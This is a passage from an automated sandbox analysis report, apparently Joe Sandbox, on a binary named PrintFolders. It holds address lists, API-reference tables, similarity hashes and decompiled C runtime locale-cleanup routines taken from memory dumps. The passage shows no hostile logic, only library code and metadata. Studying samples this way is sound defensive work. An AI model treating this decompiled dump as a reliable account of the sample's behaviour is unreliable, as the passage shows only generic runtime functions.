                                                          0x004193f4
                                                          0x004193fd
                                                          0x00419402
                                                          0x0041940b
                                                          0x00419414
                                                          0x0041941d
                                                          0x00419446
                                                          0x00419449
                                                          0x0041944f
                                                          0x00000000
                                                          0x0041944f
                                                          0x0041929d
                                                          0x004192f6
                                                          0x004192f9
                                                          0x004192fc
                                                          0x00000000
                                                          0x00000000
                                                          0x004192fe
                                                          0x00419301
                                                          0x00419301
                                                          0x00419304
                                                          0x00419306
                                                          0x00000000
                                                          0x00000000
                                                          0x00419308
                                                          0x0041930e
                                                          0x00419311
                                                          0x00419313
                                                          0x00419356
                                                          0x00419356
                                                          0x00419359
                                                          0x0041935c
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041935c
                                                          0x0041931b
                                                          0x00419324
                                                          0x00419326
                                                          0x00419326
                                                          0x00419328
                                                          0x0041932b
                                                          0x0041932e
                                                          0x00419331
                                                          0x00419333
                                                          0x00419338
                                                          0x0041933b
                                                          0x0041933e
                                                          0x00419341
                                                          0x00419343
                                                          0x00419348
                                                          0x00419349
                                                          0x00419349
                                                          0x0041934d
                                                          0x00419350
                                                          0x00419353
                                                          0x00000000
                                                          0x00419353
                                                          0x0041935e
                                                          0x0041935e
                                                          0x00000000
                                                          0x0041935e
                                                          0x004192a6
                                                          0x004192a9
                                                          0x004192b6
                                                          0x004192b8
                                                          0x004192bd
                                                          0x004192c0
                                                          0x004192c3
                                                          0x004192cb
                                                          0x004192cd
                                                          0x004192db
                                                          0x004192de
                                                          0x004192e1
                                                          0x004192e4
                                                          0x004192e6
                                                          0x004192e9
                                                          0x004192ed
                                                          0x00000000
                                                          0x004192f4
                                                          0x00419171
                                                          0x00419178
                                                          0x00419192
                                                          0x00419195
                                                          0x00419198
                                                          0x00000000
                                                          0x00000000
                                                          0x0041919a
                                                          0x0041919d
                                                          0x0041919d
                                                          0x004191a0
                                                          0x004191a2
                                                          0x00000000
                                                          0x00000000
                                                          0x004191a4
                                                          0x004191aa
                                                          0x004191ac
                                                          0x004191bb
                                                          0x004191bb
                                                          0x004191be
                                                          0x004191c0
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004191ae
                                                          0x004191ae
                                                          0x004191ae
                                                          0x004191b2
                                                          0x004191b7
                                                          0x004191b7
                                                          0x00000000
                                                          0x004191ae
                                                          0x004191c2
                                                          0x00000000
                                                          0x004191c2
                                                          0x00419188
                                                          0x0041918d
                                                          0x00000000
                                                          0x0041918d
                                                          0x00419121
                                                          0x0041910d
                                                          0x00419086
                                                          0x00419087
                                                          0x0041908c
                                                          0x00419090
                                                          0x00419091
                                                          0x00419092
                                                          0x00419097
                                                          0x0041909c
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free$Info
                                                          • String ID:
                                                          • API String ID: 2509303402-0
                                                          • Opcode ID: c55eede84f28e057531605bdedab24d4a33e5c8ac86e8fc84041852ef0a9f38b
                                                          • Instruction ID: b3dde5999e6bd8c58c9687087de5c6fa98508f20abd658152064e8f8f6389a2c
                                                          • Opcode Fuzzy Hash: c55eede84f28e057531605bdedab24d4a33e5c8ac86e8fc84041852ef0a9f38b
                                                          • Instruction Fuzzy Hash: 4FD1A0719002059FEB15CFA5C891BEEB7F5BF08304F14456EE899A7382D778AC85CB54
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          • _free.LIBCMT ref: 00443383
                                                          • ___free_lconv_mon.LIBCMT ref: 0044338E
                                                            • Part of subcall function 00442EB5: _free.LIBCMT ref: 00442ED2
                                                            • Part of subcall function 00442EB5: _free.LIBCMT ref: 00442EE4
                                                            • Part of subcall function 00442EB5: _free.LIBCMT ref: 00442EF6
                                                            • Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F08
                                                            • Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F1A
                                                            • Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F2C
                                                            • Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F3E
                                                            • Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F50
                                                            • Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F62
                                                            • Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F74
                                                            • Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F86
                                                            • Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F98
                                                            • Part of subcall function 00442EB5: _free.LIBCMT ref: 00442FAA
                                                          • _free.LIBCMT ref: 004433A5
                                                          • _free.LIBCMT ref: 004433BA
                                                          • _free.LIBCMT ref: 004433C5
                                                          • _free.LIBCMT ref: 004433E7
                                                          • _free.LIBCMT ref: 004433FA
                                                          • _free.LIBCMT ref: 00443408
                                                          • _free.LIBCMT ref: 00443413
                                                          • _free.LIBCMT ref: 0044344B
                                                          • _free.LIBCMT ref: 00443452
                                                          • _free.LIBCMT ref: 0044346F
                                                          • _free.LIBCMT ref: 00443487
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free$___free_lconv_mon
                                                          • String ID:
                                                          • API String ID: 3658870901-0
                                                          • Opcode ID: a944ca6634b5d74932c30d559000e04cde607573212888ef64c986212d955d2d
                                                          • Instruction ID: ce84940d4ec221c3e00cea4fbe0e61062730256890f47c7b2aa3b88f8ab69c0d
                                                          • Opcode Fuzzy Hash: a944ca6634b5d74932c30d559000e04cde607573212888ef64c986212d955d2d
                                                          • Instruction Fuzzy Hash: 28314E31600601AEFB219E3AD845B9B77E4AF01B15F14881FE455D72A1DF78EE818B1C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00426386(intOrPtr _a4) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr _t25;
                                                          				intOrPtr* _t26;
                                                          				intOrPtr _t28;
                                                          				intOrPtr* _t29;
                                                          				intOrPtr* _t31;
                                                          				intOrPtr* _t45;
                                                          				intOrPtr* _t46;
                                                          				intOrPtr* _t47;
                                                          				intOrPtr* _t55;
                                                          				intOrPtr* _t70;
                                                          				intOrPtr _t74;
                                                          
                                                          				_t74 = _a4;
                                                          				_t25 =  *((intOrPtr*)(_t74 + 0x88));
                                                          				if(_t25 != 0 && _t25 != 0x43d160) {
                                                          					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
                                                          					if(_t45 != 0 &&  *_t45 == 0) {
                                                          						_t46 =  *((intOrPtr*)(_t74 + 0x84));
                                                          						if(_t46 != 0 &&  *_t46 == 0) {
                                                          							E0041E2B8(_t46);
                                                          							E00425632( *((intOrPtr*)(_t74 + 0x88)));
                                                          						}
                                                          						_t47 =  *((intOrPtr*)(_t74 + 0x80));
                                                          						if(_t47 != 0 &&  *_t47 == 0) {
                                                          							E0041E2B8(_t47);
                                                          							E00425AE6( *((intOrPtr*)(_t74 + 0x88)));
                                                          						}
                                                          						E0041E2B8( *((intOrPtr*)(_t74 + 0x7c)));
                                                          						E0041E2B8( *((intOrPtr*)(_t74 + 0x88)));
                                                          					}
                                                          				}
                                                          				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
                                                          				if(_t26 != 0 &&  *_t26 == 0) {
                                                          					E0041E2B8( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
                                                          					E0041E2B8( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
                                                          					E0041E2B8( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
                                                          					E0041E2B8( *((intOrPtr*)(_t74 + 0x8c)));
                                                          				}
                                                          				E004264F7( *((intOrPtr*)(_t74 + 0x9c)));
                                                          				_t28 = 6;
                                                          				_t55 = _t74 + 0xa0;
                                                          				_v8 = _t28;
                                                          				_t70 = _t74 + 0x28;
                                                          				do {
                                                          					if( *((intOrPtr*)(_t70 - 8)) != 0x43d290) {
                                                          						_t31 =  *_t70;
                                                          						if(_t31 != 0 &&  *_t31 == 0) {
                                                          							E0041E2B8(_t31);
                                                          							E0041E2B8( *_t55);
                                                          						}
                                                          						_t28 = _v8;
                                                          					}
                                                          					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
                                                          						_t29 =  *((intOrPtr*)(_t70 - 4));
                                                          						if(_t29 != 0 &&  *_t29 == 0) {
                                                          							E0041E2B8(_t29);
                                                          						}
                                                          						_t28 = _v8;
                                                          					}
                                                          					_t55 = _t55 + 4;
                                                          					_t70 = _t70 + 0x10;
                                                          					_t28 = _t28 - 1;
                                                          					_v8 = _t28;
                                                          				} while (_t28 != 0);
                                                          				return E0041E2B8(_t74);
                                                          			}















                                                          0x0042638e
                                                          0x00426392
                                                          0x0042639a
                                                          0x004263a3
                                                          0x004263a8
                                                          0x004263af
                                                          0x004263b7
                                                          0x004263bf
                                                          0x004263ca
                                                          0x004263d0
                                                          0x004263d1
                                                          0x004263d9
                                                          0x004263e1
                                                          0x004263ec
                                                          0x004263f2
                                                          0x004263f6
                                                          0x00426401
                                                          0x00426407
                                                          0x004263a8
                                                          0x00426408
                                                          0x00426410
                                                          0x00426423
                                                          0x00426436
                                                          0x00426444
                                                          0x0042644f
                                                          0x00426454
                                                          0x0042645d
                                                          0x00426465
                                                          0x00426466
                                                          0x0042646c
                                                          0x0042646f
                                                          0x00426472
                                                          0x00426479
                                                          0x0042647b
                                                          0x0042647f
                                                          0x00426487
                                                          0x0042648e
                                                          0x00426494
                                                          0x00426495
                                                          0x00426495
                                                          0x0042649c
                                                          0x0042649e
                                                          0x004264a3
                                                          0x004264ab
                                                          0x004264b0
                                                          0x004264b1
                                                          0x004264b1
                                                          0x004264b4
                                                          0x004264b7
                                                          0x004264ba
                                                          0x004264bd
                                                          0x004264bd
                                                          0x004264cd

                                                          APIs
                                                          • ___free_lconv_mon.LIBCMT ref: 004263CA
                                                            • Part of subcall function 00425632: _free.LIBCMT ref: 0042564F
                                                            • Part of subcall function 00425632: _free.LIBCMT ref: 00425661
                                                            • Part of subcall function 00425632: _free.LIBCMT ref: 00425673
                                                            • Part of subcall function 00425632: _free.LIBCMT ref: 00425685
                                                            • Part of subcall function 00425632: _free.LIBCMT ref: 00425697
                                                            • Part of subcall function 00425632: _free.LIBCMT ref: 004256A9
                                                            • Part of subcall function 00425632: _free.LIBCMT ref: 004256BB
                                                            • Part of subcall function 00425632: _free.LIBCMT ref: 004256CD
                                                            • Part of subcall function 00425632: _free.LIBCMT ref: 004256DF
                                                            • Part of subcall function 00425632: _free.LIBCMT ref: 004256F1
                                                            • Part of subcall function 00425632: _free.LIBCMT ref: 00425703
                                                            • Part of subcall function 00425632: _free.LIBCMT ref: 00425715
                                                            • Part of subcall function 00425632: _free.LIBCMT ref: 00425727
                                                          • _free.LIBCMT ref: 004263BF
                                                            • Part of subcall function 0041E2B8: HeapFree.KERNEL32(00000000,00000000,?,00425D87,?,00000000,?,?,?,0042602A,?,00000007,?,?,0042651D,?), ref: 0041E2CE
                                                            • Part of subcall function 0041E2B8: GetLastError.KERNEL32(?,?,00425D87,?,00000000,?,?,?,0042602A,?,00000007,?,?,0042651D,?,?), ref: 0041E2E0
                                                          • _free.LIBCMT ref: 004263E1
                                                          • _free.LIBCMT ref: 004263F6
                                                          • _free.LIBCMT ref: 00426401
                                                          • _free.LIBCMT ref: 00426423
                                                          • _free.LIBCMT ref: 00426436
                                                          • _free.LIBCMT ref: 00426444
                                                          • _free.LIBCMT ref: 0042644F
                                                          • _free.LIBCMT ref: 00426487
                                                          • _free.LIBCMT ref: 0042648E
                                                          • _free.LIBCMT ref: 004264AB
                                                          • _free.LIBCMT ref: 004264C3
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                          • String ID:
                                                          • API String ID: 161543041-0
                                                          • Opcode ID: 88f30a99e55331c7f508eb551a6b5f58649f1248a518a039e11fef256e7b3f57
                                                          • Instruction ID: e81e40b5f298d664f8950b5869667bb163734d9678a7409bf98161f4c1fe4a14
                                                          • Opcode Fuzzy Hash: 88f30a99e55331c7f508eb551a6b5f58649f1248a518a039e11fef256e7b3f57
                                                          • Instruction Fuzzy Hash: D33162316006149FEB24AA7AE845B9BB3E8AF00314F91456FE899D7291DF7CEC80C71C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E1000AEB3(intOrPtr _a4) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr _t25;
                                                          				intOrPtr* _t26;
                                                          				intOrPtr _t28;
                                                          				intOrPtr* _t29;
                                                          				intOrPtr* _t31;
                                                          				intOrPtr* _t45;
                                                          				intOrPtr* _t46;
                                                          				intOrPtr* _t47;
                                                          				intOrPtr* _t55;
                                                          				intOrPtr* _t70;
                                                          				intOrPtr _t74;
                                                          
                                                          				_t74 = _a4;
                                                          				_t25 =  *((intOrPtr*)(_t74 + 0x88));
                                                          				if(_t25 != 0 && _t25 != 0x100176f8) {
                                                          					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
                                                          					if(_t45 != 0 &&  *_t45 == 0) {
                                                          						_t46 =  *((intOrPtr*)(_t74 + 0x84));
                                                          						if(_t46 != 0 &&  *_t46 == 0) {
                                                          							E10008701(_t46);
                                                          							E1000B99D( *((intOrPtr*)(_t74 + 0x88)));
                                                          						}
                                                          						_t47 =  *((intOrPtr*)(_t74 + 0x80));
                                                          						if(_t47 != 0 &&  *_t47 == 0) {
                                                          							E10008701(_t47);
                                                          							E1000BA9B( *((intOrPtr*)(_t74 + 0x88)));
                                                          						}
                                                          						E10008701( *((intOrPtr*)(_t74 + 0x7c)));
                                                          						E10008701( *((intOrPtr*)(_t74 + 0x88)));
                                                          					}
                                                          				}
                                                          				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
                                                          				if(_t26 != 0 &&  *_t26 == 0) {
                                                          					E10008701( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
                                                          					E10008701( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
                                                          					E10008701( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
                                                          					E10008701( *((intOrPtr*)(_t74 + 0x8c)));
                                                          				}
                                                          				E1000B024( *((intOrPtr*)(_t74 + 0x9c)));
                                                          				_t28 = 6;
                                                          				_t55 = _t74 + 0xa0;
                                                          				_v8 = _t28;
                                                          				_t70 = _t74 + 0x28;
                                                          				do {
                                                          					if( *((intOrPtr*)(_t70 - 8)) != 0x100171c8) {
                                                          						_t31 =  *_t70;
                                                          						if(_t31 != 0 &&  *_t31 == 0) {
                                                          							E10008701(_t31);
                                                          							E10008701( *_t55);
                                                          						}
                                                          						_t28 = _v8;
                                                          					}
                                                          					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
                                                          						_t29 =  *((intOrPtr*)(_t70 - 4));
                                                          						if(_t29 != 0 &&  *_t29 == 0) {
                                                          							E10008701(_t29);
                                                          						}
                                                          						_t28 = _v8;
                                                          					}
                                                          					_t55 = _t55 + 4;
                                                          					_t70 = _t70 + 0x10;
                                                          					_t28 = _t28 - 1;
                                                          					_v8 = _t28;
                                                          				} while (_t28 != 0);
                                                          				return E10008701(_t74);
                                                          			}















                                                          0x1000aebb
                                                          0x1000aebf
                                                          0x1000aec7
                                                          0x1000aed0
                                                          0x1000aed5
                                                          0x1000aedc
                                                          0x1000aee4
                                                          0x1000aeec
                                                          0x1000aef7
                                                          0x1000aefd
                                                          0x1000aefe
                                                          0x1000af06
                                                          0x1000af0e
                                                          0x1000af19
                                                          0x1000af1f
                                                          0x1000af23
                                                          0x1000af2e
                                                          0x1000af34
                                                          0x1000aed5
                                                          0x1000af35
                                                          0x1000af3d
                                                          0x1000af50
                                                          0x1000af63
                                                          0x1000af71
                                                          0x1000af7c
                                                          0x1000af81
                                                          0x1000af8a
                                                          0x1000af92
                                                          0x1000af93
                                                          0x1000af99
                                                          0x1000af9c
                                                          0x1000af9f
                                                          0x1000afa6
                                                          0x1000afa8
                                                          0x1000afac
                                                          0x1000afb4
                                                          0x1000afbb
                                                          0x1000afc1
                                                          0x1000afc2
                                                          0x1000afc2
                                                          0x1000afc9
                                                          0x1000afcb
                                                          0x1000afd0
                                                          0x1000afd8
                                                          0x1000afdd
                                                          0x1000afde
                                                          0x1000afde
                                                          0x1000afe1
                                                          0x1000afe4
                                                          0x1000afe7
                                                          0x1000afea
                                                          0x1000afea
                                                          0x1000affa

                                                          APIs
                                                          • ___free_lconv_mon.LIBCMT ref: 1000AEF7
                                                            • Part of subcall function 1000B99D: _free.LIBCMT ref: 1000B9BA
                                                            • Part of subcall function 1000B99D: _free.LIBCMT ref: 1000B9CC
                                                            • Part of subcall function 1000B99D: _free.LIBCMT ref: 1000B9DE
                                                            • Part of subcall function 1000B99D: _free.LIBCMT ref: 1000B9F0
                                                            • Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA02
                                                            • Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA14
                                                            • Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA26
                                                            • Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA38
                                                            • Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA4A
                                                            • Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA5C
                                                            • Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA6E
                                                            • Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA80
                                                            • Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA92
                                                          • _free.LIBCMT ref: 1000AEEC
                                                            • Part of subcall function 10008701: RtlFreeHeap.NTDLL(00000000,00000000,?,100074AC), ref: 10008717
                                                            • Part of subcall function 10008701: GetLastError.KERNEL32(?,?,100074AC), ref: 10008729
                                                          • _free.LIBCMT ref: 1000AF0E
                                                          • _free.LIBCMT ref: 1000AF23
                                                          • _free.LIBCMT ref: 1000AF2E
                                                          • _free.LIBCMT ref: 1000AF50
                                                          • _free.LIBCMT ref: 1000AF63
                                                          • _free.LIBCMT ref: 1000AF71
                                                          • _free.LIBCMT ref: 1000AF7C
                                                          • _free.LIBCMT ref: 1000AFB4
                                                          • _free.LIBCMT ref: 1000AFBB
                                                          • _free.LIBCMT ref: 1000AFD8
                                                          • _free.LIBCMT ref: 1000AFF0
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                          • String ID:
                                                          • API String ID: 161543041-0
                                                          • Opcode ID: c4e98949ab35aafe9e56d21f341b4b46aaaa1c26fbfc12bf4678de360067af1f
                                                          • Instruction ID: 98d3de5cb3a98999ebd56d36befb0731ec5fbc7688b04e9877a88235aa96296e
                                                          • Opcode Fuzzy Hash: c4e98949ab35aafe9e56d21f341b4b46aaaa1c26fbfc12bf4678de360067af1f
                                                          • Instruction Fuzzy Hash: 0A3157726046069FFB21DAB9D881B6A73E9FF013D0F614529E099D6199DE35FE808B20
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 76%
                                                          			E00425730(void* __edx, char _a4) {
                                                          				void* _v8;
                                                          				void* _v12;
                                                          				signed int _v16;
                                                          				intOrPtr* _v20;
                                                          				signed int _v24;
                                                          				char _v28;
                                                          				signed int _t106;
                                                          				signed int _t116;
                                                          				signed int _t118;
                                                          				signed int _t122;
                                                          				signed int _t126;
                                                          				signed int _t130;
                                                          				signed int _t134;
                                                          				signed int _t138;
                                                          				signed int _t142;
                                                          				signed int _t146;
                                                          				signed int _t150;
                                                          				signed int _t154;
                                                          				signed int _t158;
                                                          				signed int _t162;
                                                          				signed int _t166;
                                                          				signed int _t170;
                                                          				signed int _t174;
                                                          				signed int _t178;
                                                          				signed int _t182;
                                                          				signed int _t186;
                                                          				signed int _t190;
                                                          				char _t196;
                                                          				char _t209;
                                                          				signed int _t212;
                                                          				char _t221;
                                                          				char _t222;
                                                          				void* _t225;
                                                          				char* _t227;
                                                          				signed int _t228;
                                                          				signed int _t232;
                                                          				signed int _t233;
                                                          				intOrPtr _t234;
                                                          				void* _t235;
                                                          				void* _t237;
                                                          				char* _t258;
                                                          
                                                          				_t225 = __edx;
                                                          				_t209 = _a4;
                                                          				_v16 = 0;
                                                          				_v28 = _t209;
                                                          				_v24 = 0;
                                                          				if( *((intOrPtr*)(_t209 + 0xac)) != 0 ||  *((intOrPtr*)(_t209 + 0xb0)) != 0) {
                                                          					_t235 = E0041E25B(1, 0x50);
                                                          					_v8 = _t235;
                                                          					E0041E2B8(0);
                                                          					if(_t235 != 0) {
                                                          						_t228 = E0041E25B(1, 4);
                                                          						_v12 = _t228;
                                                          						E0041E2B8(0);
                                                          						if(_t228 != 0) {
                                                          							if( *((intOrPtr*)(_t209 + 0xac)) == 0) {
                                                          								_t212 = 0x14;
                                                          								memcpy(_v8, 0x43d160, _t212 << 2);
                                                          								L24:
                                                          								_t237 = _v8;
                                                          								_t232 = _v16;
                                                          								 *_t237 =  *( *(_t209 + 0x88));
                                                          								 *((intOrPtr*)(_t237 + 4)) =  *((intOrPtr*)( *(_t209 + 0x88) + 4));
                                                          								 *((intOrPtr*)(_t237 + 8)) =  *((intOrPtr*)( *(_t209 + 0x88) + 8));
                                                          								 *((intOrPtr*)(_t237 + 0x30)) =  *((intOrPtr*)( *(_t209 + 0x88) + 0x30));
                                                          								 *((intOrPtr*)(_t237 + 0x34)) =  *((intOrPtr*)( *(_t209 + 0x88) + 0x34));
                                                          								 *_v12 = 1;
                                                          								if(_t232 != 0) {
                                                          									 *_t232 = 1;
                                                          								}
                                                          								goto L26;
                                                          							}
                                                          							_t233 = E0041E25B(1, 4);
                                                          							_v16 = _t233;
                                                          							E0041E2B8(0);
                                                          							if(_t233 != 0) {
                                                          								_t234 =  *((intOrPtr*)(_t209 + 0xac));
                                                          								_t14 = _t235 + 0xc; // 0xc
                                                          								_t116 = E004216C5(_t225);
                                                          								_t118 = E004216C5(_t225,  &_v28, 1, _t234, 0x14, _v8 + 0x10,  &_v28);
                                                          								_t122 = E004216C5(_t225,  &_v28, 1, _t234, 0x16, _v8 + 0x14, 1);
                                                          								_t126 = E004216C5(_t225,  &_v28, 1, _t234, 0x17, _v8 + 0x18, _t234);
                                                          								_v20 = _v8 + 0x1c;
                                                          								_t130 = E004216C5(_t225,  &_v28, 1, _t234, 0x18, _v8 + 0x1c, 0x15);
                                                          								_t134 = E004216C5(_t225,  &_v28, 1, _t234, 0x50, _v8 + 0x20, _t14);
                                                          								_t138 = E004216C5(_t225);
                                                          								_t142 = E004216C5(_t225,  &_v28, 0, _t234, 0x1a, _v8 + 0x28,  &_v28);
                                                          								_t146 = E004216C5(_t225,  &_v28, 0, _t234, 0x19, _v8 + 0x29, 1);
                                                          								_t150 = E004216C5(_t225,  &_v28, 0, _t234, 0x54, _v8 + 0x2a, _t234);
                                                          								_t154 = E004216C5(_t225,  &_v28, 0, _t234, 0x55, _v8 + 0x2b, 0x51);
                                                          								_t158 = E004216C5(_t225,  &_v28, 0, _t234, 0x56, _v8 + 0x2c, _v8 + 0x24);
                                                          								_t162 = E004216C5(_t225);
                                                          								_t166 = E004216C5(_t225,  &_v28, 0, _t234, 0x52, _v8 + 0x2e,  &_v28);
                                                          								_t170 = E004216C5(_t225,  &_v28, 0, _t234, 0x53, _v8 + 0x2f, 0);
                                                          								_t174 = E004216C5(_t225,  &_v28, 2, _t234, 0x15, _v8 + 0x38, _t234);
                                                          								_t178 = E004216C5(_t225,  &_v28, 2, _t234, 0x14, _v8 + 0x3c, 0x57);
                                                          								_t182 = E004216C5(_t225,  &_v28, 2, _t234, 0x16, _v8 + 0x40, _v8 + 0x2d);
                                                          								_push(_v8 + 0x44);
                                                          								_push(0x17);
                                                          								_push(_t234);
                                                          								_t186 = E004216C5(_t225);
                                                          								_t190 = E004216C5(_t225,  &_v28, 2, _t234, 0x50, _v8 + 0x48,  &_v28);
                                                          								if((E004216C5(_t225,  &_v28, 2, _t234, 0x51, _v8 + 0x4c, 2) | _t116 | _t118 | _t122 | _t126 | _t130 | _t134 | _t138 | _t142 | _t146 | _t150 | _t154 | _t158 | _t162 | _t166 | _t170 | _t174 | _t178 | _t182 | _t186 | _t190) == 0) {
                                                          									_t227 =  *_v20;
                                                          									while(1) {
                                                          										_t196 =  *_t227;
                                                          										if(_t196 == 0) {
                                                          											break;
                                                          										}
                                                          										_t61 = _t196 - 0x30; // -48
                                                          										_t221 = _t61;
                                                          										if(_t221 > 9) {
                                                          											if(_t196 != 0x3b) {
                                                          												L16:
                                                          												_t227 = _t227 + 1;
                                                          												continue;
                                                          											}
                                                          											_t258 = _t227;
                                                          											do {
                                                          												_t222 =  *((intOrPtr*)(_t258 + 1));
                                                          												 *_t258 = _t222;
                                                          												_t258 = _t258 + 1;
                                                          											} while (_t222 != 0);
                                                          											continue;
                                                          										}
                                                          										 *_t227 = _t221;
                                                          										goto L16;
                                                          									}
                                                          									goto L24;
                                                          								}
                                                          								E00425632(_v8);
                                                          								E0041E2B8(_v8);
                                                          								E0041E2B8(_v12);
                                                          								E0041E2B8(_v16);
                                                          								goto L4;
                                                          							}
                                                          							E0041E2B8(_t235);
                                                          							E0041E2B8(_v12);
                                                          							L7:
                                                          							goto L4;
                                                          						}
                                                          						E0041E2B8(_t235);
                                                          						goto L7;
                                                          					}
                                                          					L4:
                                                          					return 1;
                                                          				} else {
                                                          					_t232 = 0;
                                                          					_v12 = 0;
                                                          					_t237 = 0x43d160;
                                                          					L26:
                                                          					_t106 =  *(_t209 + 0x84);
                                                          					if(_t106 != 0) {
                                                          						asm("lock dec dword [eax]");
                                                          					}
                                                          					if( *((intOrPtr*)(_t209 + 0x7c)) != 0) {
                                                          						asm("lock xadd [ecx], eax");
                                                          						if((_t106 | 0xffffffff) == 0) {
                                                          							E0041E2B8( *(_t209 + 0x88));
                                                          							E0041E2B8( *((intOrPtr*)(_t209 + 0x7c)));
                                                          						}
                                                          					}
                                                          					 *((intOrPtr*)(_t209 + 0x7c)) = _v12;
                                                          					 *(_t209 + 0x84) = _t232;
                                                          					 *(_t209 + 0x88) = _t237;
                                                          					return 0;
                                                          				}
                                                          			}












































                                                          0x00425730
                                                          0x00425739
                                                          0x00425740
                                                          0x00425743
                                                          0x00425746
                                                          0x0042574f
                                                          0x00425771
                                                          0x00425775
                                                          0x00425778
                                                          0x00425782
                                                          0x00425795
                                                          0x00425799
                                                          0x0042579c
                                                          0x004257a6
                                                          0x004257b8
                                                          0x00425a4a
                                                          0x00425a4b
                                                          0x00425a4d
                                                          0x00425a55
                                                          0x00425a59
                                                          0x00425a5e
                                                          0x00425a69
                                                          0x00425a75
                                                          0x00425a81
                                                          0x00425a8d
                                                          0x00425a93
                                                          0x00425a97
                                                          0x00425a99
                                                          0x00425a99
                                                          0x00000000
                                                          0x00425a97
                                                          0x004257c7
                                                          0x004257cb
                                                          0x004257ce
                                                          0x004257d8
                                                          0x004257ec
                                                          0x004257f2
                                                          0x004257ff
                                                          0x00425816
                                                          0x0042582d
                                                          0x00425844
                                                          0x00425854
                                                          0x00425861
                                                          0x00425878
                                                          0x0042588f
                                                          0x004258a6
                                                          0x004258c0
                                                          0x004258d7
                                                          0x004258ee
                                                          0x00425905
                                                          0x0042591f
                                                          0x00425936
                                                          0x0042594d
                                                          0x00425964
                                                          0x0042597e
                                                          0x00425995
                                                          0x004259a2
                                                          0x004259a3
                                                          0x004259a5
                                                          0x004259ac
                                                          0x004259c3
                                                          0x004259e7
                                                          0x00425a15
                                                          0x00425a24
                                                          0x00425a24
                                                          0x00425a28
                                                          0x00000000
                                                          0x00000000
                                                          0x00425a19
                                                          0x00425a19
                                                          0x00425a1f
                                                          0x00425a2e
                                                          0x00425a23
                                                          0x00425a23
                                                          0x00000000
                                                          0x00425a23
                                                          0x00425a30
                                                          0x00425a32
                                                          0x00425a32
                                                          0x00425a35
                                                          0x00425a37
                                                          0x00425a3a
                                                          0x00000000
                                                          0x00425a3e
                                                          0x00425a21
                                                          0x00000000
